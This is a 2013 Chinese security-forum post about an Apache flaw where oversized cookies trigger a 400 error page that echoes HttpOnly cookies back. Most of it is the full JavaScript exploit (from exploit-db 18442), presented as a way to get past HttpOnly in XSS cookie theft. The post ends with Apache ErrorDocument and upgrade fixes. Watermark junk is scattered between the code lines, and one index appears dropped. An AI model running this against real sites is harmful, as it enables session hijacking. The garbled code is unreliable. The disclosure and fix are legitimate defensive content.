中国网络渗透测试联盟
标题:
Apache HttpOnly Cookie XSS跨站漏洞
[打印本页]
作者:
admin
时间:
2013-4-19 19:15
标题:
Apache HttpOnly Cookie XSS跨站漏洞
很多程序以及一些商业或者成熟开源的cms文章系统为了防止xss盗取用户cookie的问题,一般都采用给cookie加上httponly的属性,来禁止直接使用js得到用户的cookie,从而降低xss的危害,而这个问题刚好可以用来绕过cookie的这个httponly的属性。
# Q; l3 T0 ?; V. N# B7 {
7 J% c2 p9 Z2 i* s
用chrome打开一个站点,F12打开开发者工具,找到console输入如下代码并回车:
! I: T9 _, N1 k7 |* E
1 x; H9 x! \8 |$ B# t% c, P
* n9 R+ u) C0 s4 c G
//
http://www.exploit-db.com/exploits/18442/
2 s4 t3 Z4 @1 a U2 p0 p
function setCookies (good) {
5 Y( c# e9 W: Y- ?
// Construct string for cookie value
) W3 V u3 i C
var str = "";
2 j) M( O; J2 v) k% A8 x% y: L; G
for (var i=0; i< 819; i++) {
4 K* |" b6 P. L$ A5 Q
str += "x";
- Q- k& q4 R& [ P8 y K/ e# Y5 o% n
}
9 Y2 t. ]) N" X/ J$ M2 _
// Set cookies
$ \# d& Y6 S2 Y0 w! N/ T
for (i = 0; i < 10; i++) {
7 X0 j: E1 B9 R" S0 e
// Expire evil cookie
+ Q3 K" S6 h+ s2 U+ a
if (good) {
3 U) M+ m l) g+ f1 Y
var cookie = "xss"+i+"=;expires="+new Date(+new Date()-1).toUTCString()+"; path=/;";
4 k. ?8 @) \/ ~& H p. c( z- x
}
% _4 K; H" R2 I0 y
// Set evil cookie
2 k1 M- _ I' I8 E
else {
+ s5 J3 C) k* U1 _9 q' s1 j! ~3 I3 Z% x1 t
var cookie = "xss"+i+"="+str+";path=/";
8 W2 w, b8 c) d4 \1 M( [3 l
}
) B& T' X" i; a# p" Z' V
document.cookie = cookie;
! A+ I( Y: G7 X0 [" W
}
* M, ~( {' o H) J& T% d
}
( Y7 D" u& T6 j8 `( i
function makeRequest() {
M S; X2 @5 i) c3 ]& \
setCookies();
5 x' d3 {3 b+ b5 e
function parseCookies () {
* m6 C3 x- z3 f5 B6 } G0 @
var cookie_dict = {};
( E* e. G( q' r4 E; T3 L
// Only react on 400 status
- _( [! X8 ] I" u; h7 a. e
if (xhr.readyState === 4 && xhr.status === 400) {
2 ]# d/ b' ]; D
// Replace newlines and match <pre> content
$ ~9 g- r6 a4 ~+ \5 _2 w* m8 w/ n
var content = xhr.responseText.replace(/\r|\n/g,'').match(/<pre>(.+)<\/pre>/);
7 \8 A4 L) V; O* n6 s3 x
if (content.length) {
8 y7 w# M; J0 X D9 W7 Z6 _
// Remove Cookie: prefix
1 W5 z% ~- y+ {$ d7 ]
content = content[1].replace("Cookie: ", "");
; R; u4 ]- \: E5 k0 e
var cookies = content.replace(/xss\d=x+;?/g, '').split(/;/g);
d5 ]! n v7 o7 \
// Add cookies to object
- A, |% Z. h$ h: q
for (var i=0; i<cookies.length; i++) {
d v3 i8 E: t+ c* E5 H* r+ a) G+ [
var s_c = cookies
.split('=',2);
# h/ n* ^/ P5 s
cookie_dict[s_c[0]] = s_c[1];
& E, m f+ o; L* B
}
, N& J. Y7 E3 i2 n) ~" h! D
}
' }$ E# b m; o0 f U
// Unset malicious cookies
' z; O6 a& z; {6 w+ ^ @. i
setCookies(true);
* E: p, @& M! x8 t! Z# A( v3 A. W9 C
alert(JSON.stringify(cookie_dict));
8 c3 C+ h7 c9 y6 @6 a& e
}
3 n7 Q! c; z" m) ~7 V
}
4 V5 R( R; a) ~0 O+ H; H
// Make XHR request
! l, y0 E$ O. T$ ~' R9 [. H( e
var xhr = new XMLHttpRequest();
$ h" O7 ]! U P: J: R3 N, i
xhr.onreadystatechange = parseCookies;
. [+ E! f2 ]7 s$ u' h% o, H
xhr.open("GET", "/", true);
" S8 P6 P5 I" H! u
xhr.send(null);
) H; E; S5 e3 I. [) W5 [9 G; s1 v
}
% [5 m1 H% z% t
makeRequest();
+ T; Q9 S8 u( c2 J) R) O0 g) o
1 Y' K$ G; m9 E0 j- @$ t
你就能看见华丽丽的400错误包含着cookie信息。
9 G7 K! d2 T: R
, c; |% J. s! V; C5 a8 }& u
下载地址:
https://gist.github.com/pilate/1955a1c28324d4724b7b/download#
9 r7 q4 h7 ~- l' F" C; P
: v- e0 A0 Y0 _
修复方案:
7 [$ x" d) `9 r2 u! T% A
. h3 v1 [6 S* @1 S7 q' ?' w* s4 L
Apache官方提供4种错误处理方式(
http://httpd.apache.org/docs/2.0/mod/core.html#errordocument
),如下
3 w& N/ B7 Z6 j/ |- V6 `
* Y2 P3 I2 F# K& I9 d
In the event of a problem or error, Apachecan be configured to do one of four things,
* a8 E0 t, n/ ^7 A. Q& W1 [6 }( _
' x9 C& j p4 p: \2 Z1 T
1. output asimple hardcoded error message输出一个简单生硬的错误代码信息
- F) S* ?- z9 K6 @
2. output acustomized message输出一段信息
. J3 [4 w8 B) V! h- T1 n9 h
3. redirect to alocal URL-path to handle the problem/error转向一个本地的自定义页面
% P" z) u, a% c: K+ L0 ~: l
4. redirect to an external URL to handle theproblem/error转向一个外部URL
" k2 `% A w- u: N- U
) W* ~. j$ [' M- k! _
经测试,对于400错误只有方法2有效,返回包不会再包含cookie内容
5 G5 L! \( |' K# M7 O
, l0 g& H6 Y2 i# I( F) r# u8 s; U; |
Apache配置:
3 z3 v3 i+ v( N! U
: x- Y: K3 I$ U9 r6 N* G' b
ErrorDocument400 " security test"
4 S! q1 b0 ?/ o: f+ d: h" v% k. r( a
$ A( @( U2 o. I! o0 n+ `
当然,升级apache到最新也可:)。
* G8 x# Q) c# p& V
8 A) y3 D' O" P% s! f7 G6 j
参考:
http://httpd.apache.org/security/vulnerabilities_22.html
- b/ x8 s, C% C+ E; G) h
; o0 a" e1 L8 p4 t! p. a
欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/)
Powered by Discuz! X3.2